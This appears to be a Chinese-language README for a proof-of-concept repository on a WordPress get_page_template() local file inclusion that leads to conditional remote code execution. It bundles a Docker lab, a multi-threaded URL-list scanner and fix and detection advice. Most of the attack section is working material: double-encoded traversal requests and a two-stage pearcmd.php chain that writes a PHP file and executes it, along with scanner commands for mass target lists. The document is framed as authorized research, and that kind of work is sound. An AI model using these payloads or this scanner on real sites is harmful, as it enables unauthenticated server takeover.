复现实验环境 + URL 列表扫描器 + CVE-2026-87902 / GHSA-7hp8-65ch-5whp 的 PoC — WordPress get_page_template() 未认证 LFI 到条件性 RCE(WP 4.7.0-7.1.1,已在 7.1.2 修复)。授权/防御性测试。
get_page_template() 未认证 LFI → 条件性 RCE复现实验环境 + URL 列表扫描器 + PoC,在 Docker 实验环境中针对真实的 WordPress 7.1.1(存在漏洞) 和 7.1.2(已修补) 构建并完成端到端验证。
include/require 的文件名控制不当(路径遍历 → 本地 PHP 文件包含)AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)page-* 的顶层目录(例如 page-templates/ —— 存在于 Twenty Twelve、Twenty Fourteen、Neve、Hestia、Sydney 中);(2) 仅 RCE 需要:可读的 且 。pearcmd.phpregister_argc_argv=Onwp-includes/template.php :: get_page_template() 从攻击者可控的 pagename 查询变量构建模板候选路径,未调用 validate_file():
// WordPress 7.1.1 (VULNERABLE)
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) { // <-- no validate_file()
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
// WordPress 7.1.2 (PATCHED) — the guard the sibling $template branch already had, + realpath containment
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// plus new _wp_is_template_path_allowed() enforcing the resolved path stays inside a theme root
随后 locate_template() 执行 file_exists($theme_dir . '/' . $candidate) 并 include 命中的文件。
由于候选路径为 page-{...}.php,payload 必须接续一个真实存在、以 page- 开头的主题目录(例如 page-templates/),然后用 ../ 向上爬出,包含任意可读的 .php 文件。
双重编码是必需的。 get_query_var('pagename') 已被 PHP 解码一次,因此普通的 ../ 会使 urldecode($pagename) === $pagename,从而跳过存在漏洞的分支。双重编码的 %252e%252e%252f 在第一次解码后仍为 %2e%2e%2f,只有经过额外的 urldecode() 才会变成 ../ —— 这正是该漏洞所在。
lab/)在 Docker 主机上并排运行真实发行版本,二者仅安全修复不同:
| 服务 | URL(仅回环) | WordPress | 角色 |
|---|---|---|---|
wp-vuln | http://127.0.0.1:8091 | 7.1.1 | 存在漏洞 |
wp-patched | http://127.0.0.1:8092 | 7.1.2 | 已修补对照 |
db | — | MySQL 8.4 | 共享(两个数据库) |
基础镜像为 wordpress:php8.3-apache(已自带 pearcmd.php 和 register_argc_argv=On),并将捆绑的核心文件替换为真实的 wordpress-7.1.1.zip / 7.1.2.zip。已激活 Twenty Fourteen(含真实的 page-templates/),同时在当前主题中创建了 page-templates/ 测试文件。已发布页面 id = 2(Sample Page)。
# on the docker lab host
cd /tmp/cve-2026-87902-lab
./up.sh # build + install both instances (idempotent)
./down.sh # tear down + remove volumes
端口仅绑定到 127.0.0.1 —— 存在漏洞的实例从不暴露于网络。
poc/cve-2026-87902-scan.py)Python 3,仅使用标准库(无需 pip install)。接受 URL 列表并报告哪些存在漏洞。默认扫描为非破坏性:它包含只读核心文件 wp-links-opml.php,并查找生成的 OPML 文档 —— 以此证明任意 .php 包含已触发,且无写入、无状态变更。
# single URL
./cve-2026-87902-scan.py http://target/
# a list of your assets, JSON report, 20 workers
./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json
# from stdin, only show vulnerable/possibly rows
cat urls.txt | ./cve-2026-87902-scan.py --stdin -q
<generator> → wp-links-opml.php →
readme.html → /wp-includes/ 资源 ?ver=)。/wp/v2/pages、?rest_route= 回退、首页
page-id-N、默认 page_id=2)—— 需要此步骤,以便请求解析为 Page 并触发 get_page_template()。segment × depth(默认 segment 为 templates,深度为 4,3,5,6,7),发送
page_id=<id>&pagename=<double-encoded ../ → wp-links-opml>(POST,以规避规范化重定向),并要求返回 HTTP 200 且携带 <opml version="1.0"> 以及一个结构性次级标记
(</opml> / <outline / <dateCreated>)。.php。如果 OPML 仍然出现,说明 OPML 是环境固有的(代理 / 缓存 / feed 应用),而非我们的包含所致 → 降级为 POSSIBLY。只有对照干净的命中才判定为 VULNERABLE。健壮性:保留子目录路径(http://host/blog),处理 gzip/deflate 及异常字符集,传输错误时重试一次探测,发现/验证页面 id(REST → ?rest_route= → 首页 → 默认值),强制执行每目标时间预算,并且绝不从低置信度版本来源(资源 ?ver= / readme.html)断言 NOT_VULNERABLE —— 这些会降级为 POSSIBLY。
| 判定 | 含义 |
|---|---|
VULNERABLE | OPML 预言机触发 —— LFI 已确认(确定性) |
NOT_VULNERABLE | 已修补分支版本,或版本不在 4.7.0–7.1.1 范围内 |
POSSIBLY_VULNERABLE | 版本存在漏洞/未知但预言机静默(可能没有 page-* 主题目录、非标准布局,或无可发现的页面 id)—— 需手动验证 |
NOT_WORDPRESS / ERROR | 无 WP 特征 / 传输失败 |
退出码:若存在任何 VULNERABLE 则为 2,若存在任何 POSSIBLY(且无 VULNERABLE)则为 1,否则为 0。
实用标志:--segments、--depths、--method {POST,GET,both}、--page-id、--max-pageids、
--max-time(每目标预算)、--timeout、--threads、--proxy、--header、--insecure
(关闭 TLS —— 仅限开发)、--json、--jsonl。对于安装在子目录中的 WordPress,传入完整基址
(例如 https://host/blog);对于 Bedrock/核心位于 wp/ 的安装,扫描还会尝试带 wp/ 前缀的预言机目标。
./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2
运行 PEAR pearcmd.php 利用链:+ 分割的查询字符串携带 config-create argv,在 /tmp 下写入一个不含引号的标记 .php 文件;第二个请求包含该文件。打印已执行的标记 +
php_uname() + uid。会在目标上写入文件 → 仅限单目标,需要 --i-have-authorization,默认关闭。
evidence/)| 文件 | 证明内容 |
|---|---|
manual-validate.sh / ev-lfi.log | OPML 预言机在 7.1.1 上触发(深度 4,POST 和 GET),在 7.1.2 上静默;仅深度 4 有效;单重编码失败 |
rce-validate.sh / ev-rce.log | 在 7.1.1 上完整 PEAR RCE(uid=33,身份为 www-data,深度 7);已修补版本不写入文件、不执行任何内容 |
ev-scan-table.log / ev-scan-results.json | 扫描器对 {vuln, patched, non-WP, dead} 的结果:VULNERABLE / NOT_VULNERABLE / NOT_WORDPRESS / ERROR |
已验证的请求形态:
LFI (detection, non-destructive):
POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
-> 200 with <opml version="1.0"> in the body (depth 4 = webroot on /var/www/html)
RCE (conditional; register_argc_argv=On + readable pearcmd.php):
Stage 1 POST /?+config-create+/<?=...chr()-built payload...?>+/tmp/x.php
body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd
Stage 2 POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx
-> body contains the executed marker + php_uname() + uid=33
register_argc_argv=Off,并移除/拒绝访问 pearcmd.php;
即使 LFI 可达,这也能消除 RCE 升级路径。.. 的
pagename;在站点根路径或 /index.php 上同时出现 page_id 与以 templates%252f 开头 /
包含 %252e%252e 的 pagename,是近乎确定的利用信号。仅限授权安全测试、教育和防御性研究。